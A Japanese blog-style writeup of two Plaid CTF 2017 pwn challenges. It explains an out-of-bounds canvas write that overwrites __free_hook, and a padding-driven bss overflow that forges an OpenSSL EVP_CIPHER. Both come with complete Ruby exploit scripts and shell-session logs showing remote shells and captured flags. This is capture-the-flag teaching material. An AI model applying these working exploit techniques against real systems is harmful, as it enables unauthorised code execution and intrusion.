Plaid CTF 2017 writeup
Plaid CTF 2017にbinjaで参加しました。
チームで2137pts入れて15位、私は2問解いて500pts入れました。
もう1問くらいは解きたかった……(´・ω・`)
解いた問題のwriteupを置いておきます(`・ω・´)
bigpicture (Pwn 200)
$ ./bigpicture Let's draw a picture! How big? 7x3 > 1,1,( > 2,1,- > 3,1,A > 4,1,- > 5,1,) > a (-A-) Bye!
お絵かきアプリ。
珍しいことにソースコードが付いていた。
まずは下調べ。
$ file bigpicture bigpicture: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e2e64b09ef859da76f059113837112fd5b410f7d, not stripped $ checksec --file bigpicture RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH bigpicture
主な仕様はこんな感じ。
- 最初にキャンバスのサイズを入力すると、キャンバス用の領域がcallocで確保される
x,y,c
と入力すると、キャンバスの(x, y)にcが1バイト書き込まれる- すでに何か書き込まれている場合は、上書きされる前の文字を教えてくれる
- 座標に負数が指定できるため、out-of-bounds read/writeができる
- “quit"と入力すると終了
- それ以外の文字列を入力するとキャンバスを出力した後に終了
- 終了時にキャンバス用の領域はfreeする
x86/x86_64なLinuxでは「mmapで確保された領域同士の相対距離は、バイナリを再起動しても変わらない」という性質があるので、今回はこれを利用する。(参考)
試しに1000x1000(callocの内部でmmapが呼ばれるようなサイズ)なキャンバスを作ると、私の環境ではld-2.23.so周辺に領域が確保された。
0x000055aa0c7ac000 0x000055aa0c7ad000 r-xp /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture 0x000055aa0c9ad000 0x000055aa0c9ae000 r--p /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture 0x000055aa0c9ae000 0x000055aa0c9af000 rw-p /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture 0x00007f9f52c8d000 0x00007f9f52e4c000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f9f52e4c000 0x00007f9f5304c000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f9f5304c000 0x00007f9f53050000 r--p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f9f53050000 0x00007f9f53052000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007f9f53052000 0x00007f9f53056000 rw-p mapped 0x00007f9f53056000 0x00007f9f5307c000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f9f5316c000 0x00007f9f53264000 rw-p mapped ←ここ 0x00007f9f53279000 0x00007f9f5327b000 rw-p mapped 0x00007f9f5327b000 0x00007f9f5327c000 r--p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f9f5327c000 0x00007f9f5327d000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007f9f5327d000 0x00007f9f5327e000 rw-p mapped 0x00007ffc03ea2000 0x00007ffc03ec3000 rw-p [stack] 0x00007ffc03f9b000 0x00007ffc03f9d000 r--p [vvar] 0x00007ffc03f9d000 0x00007ffc03f9f000 r-xp [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] キャンバスのあるページとlibc baseとの相対距離→0x7f9f5316c000 - 0x7f9f52c8d000 = 0x4df000
もう一回実行してみても同じ結果になる。
0x000055c5142b0000 0x000055c5142b1000 r-xp /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture 0x000055c5144b1000 0x000055c5144b2000 r--p /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture 0x000055c5144b2000 0x000055c5144b3000 rw-p /home/charo/ctf/2017/plaidctf_2017/bigpicture/bigpicture 0x00007fe767e78000 0x00007fe768037000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so 0x00007fe768037000 0x00007fe768237000 ---p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007fe768237000 0x00007fe76823b000 r--p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007fe76823b000 0x00007fe76823d000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so 0x00007fe76823d000 0x00007fe768241000 rw-p mapped 0x00007fe768241000 0x00007fe768267000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so 0x00007fe768357000 0x00007fe76844f000 rw-p mapped ←ここ 0x00007fe768464000 0x00007fe768466000 rw-p mapped 0x00007fe768466000 0x00007fe768467000 r--p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007fe768467000 0x00007fe768468000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so 0x00007fe768468000 0x00007fe768469000 rw-p mapped 0x00007ffea9ed4000 0x00007ffea9ef5000 rw-p [stack] 0x00007ffea9fad000 0x00007ffea9faf000 r--p [vvar] 0x00007ffea9faf000 0x00007ffea9fb1000 r-xp [vdso] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] キャンバスのあるページとlibc baseとの相対距離→0x7fe768357000 - 0x7fe767e78000 = 0x4df000
今回利用する脆弱性は、キャンバス用の領域より手前にある領域を読み書きできるというものなので、
- キャンバスの先頭に
"sh\0"
を仕込む - out-of-bounds readでlibcのbssを読み、libcのアドレスをリークする(今回はstderrを読んだ)
- out-of-bounds writeで
__free_hook
をsystem
に書き換える - プログラム終了時に
system("sh")
が実行される
とすればシェルが奪える。
なお、ローカルとリモートとでキャンバスとlibc base間の相対距離が違っていたため、適当にリークして調節した。
#coding:ascii-8bit require "pwnlib" remote = ARGV[0] == "r" if remote host = "bigpicture.chal.pwning.xxx" port = 420 libc_offset = { "stderr" => 0x3c4700, "_IO_2_1_stderr_" => 0x3c4540, "__free_hook" => 0x3c57a8, "system" => 0x45390 } else host = "localhost" port = 54321 libc_offset = { "stderr" => 0x3c4700, "_IO_2_1_stderr_" => 0x3c4540, "__free_hook" => 0x3c57a8, "system" => 0x45390 } end class PwnTube def recv_until_prompt recv_until("> ") end end def tube @tube end def write_byte(addr, byte) raise unless byte.chr.scanf_safe? y = (addr - Buf) / Height x = (addr - Buf) % Width tube.recv_until_prompt tube.sendline("%d,%d,%c" % [y, x, byte.chr]) end def leak_byte(addr, recover = false) write_byte(addr, 1) byte = tube.recv_capture(/overwriting (.)!/)[0].ord write_byte(addr, byte) if recover byte end def write_qword(addr, value) [value].pack("Q").bytes[0...6].each_with_index{|b, i| write_byte(addr + i, b)} end def leak_address(addr, recover = false) 6.times.map{|i| leak_byte(addr + i, recover).chr}.join.ljust(8, "\0").unpack("Q")[0] end Width = 1000 Height = 1000 if remote Buf = 0x7fd2e246e010 LibcBase = 0x7fd2e1f80000 else Buf = 0x7ffff7ee9010 LibcBase = 0x7ffff7a0e000 end PwnTube.open(host, port){|t| @tube = t puts "[*] make a new canvas" tube.recv_until("How big? ") tube.sendline("%dx%d" % [Width, Height]) puts "[*] write \"sh\"" write_byte(Buf, "s".ord) write_byte(Buf + 1, "h".ord) puts "[*] leak libc base" libc_base = leak_address(LibcBase + libc_offset["stderr"]) - libc_offset["_IO_2_1_stderr_"] puts "libc base = 0x%x" % libc_base puts "[*] overwrite __free_hook" write_qword(LibcBase + libc_offset["__free_hook"], libc_base + libc_offset["system"]) puts "[*] launch shell" tube.recv_until_prompt tube.sendline("quit") tube.recv tube.interactive }
$ ruby bigpicture.rb r [*] connected [*] make a new canvas [*] write "sh" [*] leak libc base libc base = 0x7fcebac0c000 [*] overwrite __free_hook [*] launch shell [*] interactive mode id uid=1000(bigpicture) gid=1000(bigpicture) groups=1000(bigpicture) ls -la total 96 drwxr-xr-x 23 root root 4096 Apr 12 18:49 . drwxr-xr-x 23 root root 4096 Apr 12 18:49 .. drwxr-xr-x 2 root root 4096 Apr 12 18:49 bin drwxr-xr-x 3 root root 4096 Apr 12 18:50 boot drwxr-xr-x 19 root root 3840 Apr 22 21:12 dev drwxr-xr-x 90 root root 4096 Apr 22 04:28 etc drwxr-xr-x 3 root root 4096 Apr 22 04:28 home lrwxrwxrwx 1 root root 32 Apr 12 18:49 initrd.img -> boot/initrd.img-4.4.0-72-generic lrwxrwxrwx 1 root root 32 Apr 12 18:42 initrd.img.old -> boot/initrd.img-4.4.0-62-generic drwxr-xr-x 22 root root 4096 Apr 12 18:44 lib drwxr-xr-x 2 root root 4096 Apr 12 18:48 lib64 drwx------ 2 root root 16384 Apr 12 18:41 lost+found drwxr-xr-x 4 root root 4096 Apr 12 18:41 media drwxr-xr-x 2 root root 4096 Feb 15 20:19 mnt drwxr-xr-x 2 root root 4096 Apr 22 04:18 opt dr-xr-xr-x 130 root root 0 Apr 22 21:12 proc drwx------ 5 root root 4096 Apr 22 18:27 root drwxr-xr-x 22 root root 900 Apr 23 06:25 run drwxr-xr-x 2 root root 12288 Apr 12 18:50 sbin drwxr-xr-x 2 root root 4096 Jan 14 15:06 snap drwxr-xr-x 2 root root 4096 Feb 15 20:19 srv dr-xr-xr-x 13 root root 0 Apr 22 21:23 sys drwxrwxrwt 7 root root 4096 Apr 23 13:17 tmp drwxr-xr-x 10 root root 4096 Apr 12 18:41 usr drwxr-xr-x 13 root root 4096 Apr 12 18:45 var lrwxrwxrwx 1 root root 29 Apr 12 18:49 vmlinuz -> boot/vmlinuz-4.4.0-72-generic lrwxrwxrwx 1 root root 29 Apr 12 18:42 vmlinuz.old -> boot/vmlinuz-4.4.0-62-generic cat /home/*/flag PCTF{draw_me_like_one_of_your_pwn200s} exit [*] end interactive mode [*] connection closed
FLAG: PCTF{draw_me_like_one_of_your_pwn200s}
yacp (Pwn 300)
$ ./yacp a Welcome to the cryptotool! Because apparently, you can never have too much crypto! What would you like to do? 0. Load data 1. Generate random data 2. Hash data 3. Encrypt data 4. Decrypt data 5. Display data
2048バイトまでのデータを任意の鍵・IVで暗号化・復号したり、ハッシュを求めたりするプログラム。
まずは下調べ。
$ file yacp yacp: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cd67f97996f5dbd7d6123dca8d299c0a43439bb1, stripped $ checksec --file yacp RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH yacp
主な仕様はこんな感じ。
- 0. Load data
- bss上にある
buffer[32][2048]
に最大2048バイトの文字列を読み込む buffer
のどの要素に読み込むかは指定が可能
- bss上にある
- 1. Generate random data
buffer
の好きな要素に/dev/urandomから読んだバイト列を格納する- 長さは指定可能(最大2048バイト)
- 2. Hash data
buffer[input]
のハッシュをbuffer[output]
に格納するinput
,output
, ハッシュの種類はユーザが指定する
- 3. Encrypt data
buffer[input]
を鍵buffer[key]
とIVbuffer[iv]
を使って暗号化し、buffer[output]
に格納するinput
,output
,key
,iv
, 暗号の種類はユーザが指定する- パディングの有無はデフォルト設定のままなので、2048バイトのデータをAES-128-CBCとかで暗号化するとパディングされて2064バイトになる
- 4. Decrypt data
- 3. Encrypt dataの復号バージョン
- 5. Display data
buffer
の好きな要素を出力する
- bssのレイアウトはこんな感じ
unsigned char buffer[32][2048]; unsigned int length[32]; // length[i]にはbuffer[i]の長さが格納されている EVP_MD_CTX md_ctx; // Hash data内でEVP_Digest系の関数に渡す構造体 EVP_CIPHER_CTX cipher_ctx; // Encrypt data/Decrypt data内でEVP_Cipher系の関数に渡す構造体 EVP_MD *evp_md; EVP_CIPHER *evp_cipher;
暗号化の際のパディングによるbofを利用してlength[0]
を大きくすることで、bssは好きに読み書きできるようになる。
問題はeipをどうやって奪うかだが、EVP_CIPHER_CTX
の宣言やEVP_CipherFinal_Ex
の実装を読んでみると……
// https://github.com/openssl/openssl/blob/master/crypto/evp/evp_locl.h struct evp_cipher_ctx_st { const EVP_CIPHER *cipher; ENGINE *engine; /* functional reference if 'cipher' is * ENGINE-provided */ int encrypt; /* encrypt or decrypt */ int buf_len; /* number we have left */ unsigned char oiv[EVP_MAX_IV_LENGTH]; /* original iv */ unsigned char iv[EVP_MAX_IV_LENGTH]; /* working iv */ unsigned char buf[EVP_MAX_BLOCK_LENGTH]; /* saved partial block */ int num; /* used by cfb/ofb/ctr mode */ /* FIXME: Should this even exist? It appears unused */ void *app_data; /* application stuff */ int key_len; /* May change for variable length cipher */ unsigned long flags; /* Various flags */ void *cipher_data; /* per EVP data */ int final_used; int block_mask; unsigned char final[EVP_MAX_BLOCK_LENGTH]; /* possible final block */ } /* EVP_CIPHER_CTX */ ; // https://github.com/openssl/openssl/blob/master/crypto/include/internal/evp_int.h struct evp_cipher_st { int nid; int block_size; /* Default value for variable length ciphers */ int key_len; int iv_len; /* Various flags */ unsigned long flags; /* init key */ int (*init) (EVP_CIPHER_CTX *ctx, const unsigned char *key, const unsigned char *iv, int enc); /* encrypt/decrypt data */ int (*do_cipher) (EVP_CIPHER_CTX *ctx, unsigned char *out, const unsigned char *in, size_t inl); /* cleanup ctx */ int (*cleanup) (EVP_CIPHER_CTX *); /* how big ctx->cipher_data needs to be */ int ctx_size; /* Populate a ASN1_TYPE with parameters */ int (*set_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *); /* Get parameters from a ASN1_TYPE */ int (*get_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *); /* Miscellaneous operations */ int (*ctrl) (EVP_CIPHER_CTX *, int type, int arg, void *ptr); /* Application data */ void *app_data; } /* EVP_CIPHER */ ;
// https://github.com/openssl/openssl/blob/master/crypto/evp/evp_enc.c int EVP_CipherFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl) { if (ctx->encrypt) return EVP_EncryptFinal_ex(ctx, out, outl); else return EVP_DecryptFinal_ex(ctx, out, outl); } int EVP_DecryptFinal_ex(EVP_CIPHER_CTX *ctx, unsigned char *out, int *outl) { int i, n; unsigned int b; *outl = 0; if (ctx->cipher->flags & EVP_CIPH_FLAG_CUSTOM_CIPHER) { i = ctx->cipher->do_cipher(ctx, out, NULL, 0); if (i < 0) return 0; else *outl = i; return 1; } // (snip) }
EVP_CIPHER_CTX
構造体はEVP_CIPHER
構造体へのポインタcipher
を持っているEVP_CIPHER
構造体には複数の関数ポインタが含まれているEVP_DecryptFinal_ex
関数は、ctx->cipher->flags
の特定のビットが立っている場合、ctx->cipher->do_cipher
を呼ぶ
ということが分かる。
ここまでで分かったことを組み合わせると、
- 暗号の際のパディングによるbofで
length
の先頭部分を上書きし、length[0]
を大きくする buffer[0]
を出力させると、bssに残っているevp_cipher
の指すアドレスが出力されるので、libcryptoのベースアドレスが分かる(ライブラリ同士の相対距離が一定になることを利用するとlibcのベースアドレスも分かる)flags
にEVP_CIPH_FLAG_CUSTOM_CIPHER
を設定し、do_cipher
にsystem
のアドレスを入れた偽のEVP_CIPHER
をbuffer
に仕込むcipher_ctx
の先頭にあるEVP_CIPHER *cipher
を偽EVP_CIPHER
に向け、ENGINE *engine
の部分に";sh;"
という文字列を入れておくと、EVP_CipherFinal_ex
内でsystem("ゴミ;sh;")
が呼ばれる
という手順でシェルを奪うことができる。
#coding:ascii-8bit require "pwnlib" require "openssl" remote = ARGV[0] == "r" if remote host = "yacp.chal.pwning.xxx" port = 7961 lib_offset = 0x1b6000 libc_offset = { "system" => 0x3ada0 } libcrypto_offset = { "aes-128-cbc" => 0x1dad60 } else host = "localhost" port = 54321 lib_offset = 0x1b6000 libc_offset = { "system" => 0x3ada0 } libcrypto_offset = { "aes-128-cbc" => 0x1dad60 } end offset = { "buffer" => 0x0804c0e0, "cipher" => 0x0805c208 } class PwnTube def recv_until_prompt recv_until("5. Display data\n") end def recv_exact(n) n.times.map{recv(1)}.join end end def tube @tube end def solve_pow(problem) PwnTube.open("localhost", 54322, nil){|t| t.send(problem) return t.recv(32) } end def select_buffer(index) tube.recv_until("Which buffer (0-31) would you like to use?\n") tube.sendline("#{index}") end def load_data(index, data) tube.recv_until_prompt tube.sendline("0") tube.recv_until("How many bytes is the data?\n") tube.sendline("#{data.length}") select_buffer(index) tube.recv_until("bytes\n") tube.sendline(data.unpack("H*")[0]) end def generate_random_data(index, length) tube.recv_until_prompt tube.sendline("1") tube.recv_until("How many bytes of data do you want?\n") tube.sendline("#{length}") end def hash_data(type, input, output) tube.recv_until_prompt tube.sendline("2") tube.recv_until("What type of hash would you like to perform?\n") tube.sendline(type) select_buffer(input) select_buffer(output) end def encrypt_data(type, input, output, key, iv) tube.recv_until_prompt tube.sendline("3") tube.recv_until("What type of cipher would you like to perform?\n") tube.sendline(type) select_buffer(input) select_buffer(output) select_buffer(key) select_buffer(iv) end def decrypt_data(type, input, output, key, iv) tube.recv_until_prompt tube.sendline("4") tube.recv_until("What type of cipher would you like to perform?\n") tube.sendline(type) select_buffer(input) select_buffer(output) select_buffer(key) select_buffer(iv) end def display_data(index) tube.recv_until_prompt tube.sendline("5") select_buffer(index) end # generate a payload which the last block of # aes128cbc(iv, key, gen_payload(iv, key, trailer)) # is trailer + padding def gen_payload(iv, key, trailer) cipher = OpenSSL::Cipher.new("aes-128-cbc") cipher.encrypt cipher.iv = iv cipher.key = key cipher.padding = 0 d = cipher.update("\0" * 0x7f0)[0x7e0...0x7f0] cipher = OpenSSL::Cipher.new("aes-128-ecb") cipher.decrypt cipher.iv = iv cipher.key = key cipher.padding = 0 a = cipher.update(trailer + (16 - trailer.length).chr * (16 - trailer.length)) b = "\x10" * 16 cipher = OpenSSL::Cipher.new("aes-128-ecb") cipher.decrypt cipher.iv = "\0" * 16 cipher.key = "\0" * 16 cipher.padding = 0 c = cipher.update(a.bytes.zip(b.bytes).map{|a, b| (a ^ b).chr}.join) "\0" * 0x7f0 + d.bytes.zip(c.bytes).map{|a, b| (a ^ b).chr}.join end def encrypt_aes128cbc(iv, key, data) cipher = OpenSSL::Cipher.new("aes-128-cbc") cipher.encrypt cipher.iv = iv cipher.key = key cipher.padding = 1 cipher.update(data) + cipher.final end iv = "\0" * 16 key = "\0" * 16 PwnTube.open(host, port){|t| @tube = t if remote puts "[*] solve PoW" problem = tube.recv_capture(/It starts with ([0-9a-f]{16}) and is 32 characters long\.\n/)[0] puts "problem = #{problem}" answer = solve_pow(problem) puts "answer = #{answer.unpack("H*")[0]}" tube.send(answer) end puts "[*] overwrite length" load_data(28, gen_payload(iv, key, [offset["cipher"] + 4 - offset["buffer"]].pack("L"))) load_data(29, iv) load_data(30, key) encrypt_data("aes-128-cbc", 28, 31, 29, 30) puts "[*] leak libcrypto base" display_data(0) tube.recv_until(" = ") tube.recv_exact((offset["cipher"] - offset["buffer"]) * 2) libcrypto_base = [tube.recv_capture(/([0-9a-f]{8})\n/)[0]].pack("H*").unpack("L")[0] - 0x1dad60 libc_base = libcrypto_base - lib_offset puts "libcrypto base = 0x%08x" % libcrypto_base puts "libc base = 0x%08x" % libc_base puts "[*] create fake EVP_CIPHER" payload = "" payload << [0].pack("L") * 4 payload << [0x100000].pack("L") # EVP_CIPH_FLAG_CUSTOM_CIPHER payload << [libc_base + libc_offset["system"]].pack("L") * 8 load_data(10, payload) puts "[*] prepare for overwriting EVP_CIPHER_CTX" payload = "" payload << "A" * 0x800 payload << [0].pack("L") * 32 payload << "A" * 0x18 payload << [offset["buffer"] + 0x800 * 10].pack("L") payload << ";sh;".ljust(12, "\0") payload = encrypt_aes128cbc(iv, key, payload) payload.chars.each_slice(0x800).each_with_index{|s, i| load_data(i, s.join)} puts "[*] overwrite length" load_data(28, gen_payload(iv, key, [payload.length].pack("L"))) encrypt_data("aes-128-cbc", 28, 31, 29, 30) puts "[*] overwrite EVP_CIPHER_CTX" decrypt_data("aes-128-cbc", 0, 31, 29, 30) tube.interactive }
$ ruby yacp.rb r [*] connected [*] solve PoW problem = 2fee33f21adaf2b5 answer = 3266656533336632316164616632623568600f0b000000000000000000000000 [*] overwrite length [*] leak libcrypto base libcrypto base = 0xf7573000 libc base = 0xf73bd000 [*] create fake EVP_CIPHER [*] prepare for overwriting EVP_CIPHER_CTX [*] overwrite length [*] overwrite EVP_CIPHER_CTX [*] interactive mode sh: 1: �: not found id uid=1000(yacp) gid=1000(yacp) groups=1000(yacp) ls -la total 104 drwxr-xr-x 25 root root 4096 Apr 19 19:14 . drwxr-xr-x 25 root root 4096 Apr 19 19:14 .. drwxr-xr-x 2 root root 4096 Apr 12 18:49 bin drwxr-xr-x 3 root root 4096 Apr 12 18:50 boot drwxr-xr-x 19 root root 3840 Apr 22 05:26 dev drwxr-xr-x 90 root root 4096 Apr 19 19:17 etc drwxr-xr-x 3 root root 4096 Apr 19 19:11 home lrwxrwxrwx 1 root root 32 Apr 12 18:49 initrd.img -> boot/initrd.img-4.4.0-72-generic lrwxrwxrwx 1 root root 32 Apr 12 18:42 initrd.img.old -> boot/initrd.img-4.4.0-62-generic drwxr-xr-x 23 root root 4096 Apr 19 19:16 lib drwxr-xr-x 2 root root 4096 Apr 19 19:14 lib32 drwxr-xr-x 2 root root 4096 Apr 12 18:48 lib64 drwxr-xr-x 2 root root 4096 Apr 19 19:14 libx32 drwx------ 2 root root 16384 Apr 12 18:41 lost+found drwxr-xr-x 4 root root 4096 Apr 12 18:41 media drwxr-xr-x 2 root root 4096 Feb 15 20:19 mnt drwxr-xr-x 2 root root 4096 Apr 19 18:41 opt dr-xr-xr-x 119 root root 0 Apr 22 05:26 proc drwx------ 5 root root 4096 Apr 19 19:37 root drwxr-xr-x 22 root root 880 Apr 22 06:25 run drwxr-xr-x 2 root root 12288 Apr 12 18:50 sbin drwxr-xr-x 2 root root 4096 Jan 14 15:06 snap drwxr-xr-x 2 root root 4096 Feb 15 20:19 srv dr-xr-xr-x 13 root root 0 Apr 23 01:50 sys drwxrwxrwt 7 root root 4096 Apr 23 13:17 tmp drwxr-xr-x 12 root root 4096 Apr 19 19:14 usr drwxr-xr-x 13 root root 4096 Apr 12 18:45 var lrwxrwxrwx 1 root root 29 Apr 12 18:49 vmlinuz -> boot/vmlinuz-4.4.0-72-generic lrwxrwxrwx 1 root root 29 Apr 12 18:42 vmlinuz.old -> boot/vmlinuz-4.4.0-62-generic cat /home/*/flag PCTF{porque_no_los_dos} [*] connection closed
FLAG: PCTF{porque_no_los_dos}